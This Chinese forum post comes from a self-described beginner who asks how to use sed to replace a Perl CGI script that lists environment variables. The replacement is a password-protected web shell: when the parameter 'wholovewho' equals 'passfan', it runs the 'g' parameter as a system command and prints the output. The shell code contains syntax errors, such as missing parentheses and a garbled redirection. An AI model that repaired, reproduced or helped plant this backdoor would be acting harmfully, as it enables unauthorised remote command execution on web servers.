如何修改文件内容？

wholovewho

我是一只菜鸟，刚刚起步，非常需要各位的帮助。

我遇到这么一个问题：
原文件的内容是：
#!/usr/bin/perl -W

print "Content-type: text/html\n\n";
while (($key, $val) = each %ENV) {
        print "$key = $val
;\n";
}

我想通过sed命令将这个文件的内容换成
#!/usr/bin/perl
use CGI qw(:standard); print header; $AuthStr=param("wholovewho"; if ($AuthStr eq "passfan" { my $k=param("g"; $ll=`$k 2>;&1`; print start_form,textfield("g",$k,90),hidden("wholovewho",$AuthStr); print end_form; print pre($ll); } else { print "Access Denied!"; print end_html; }

但是经过数次测试，始终不能成功，希望各位高手能够帮帮我。谢谢了！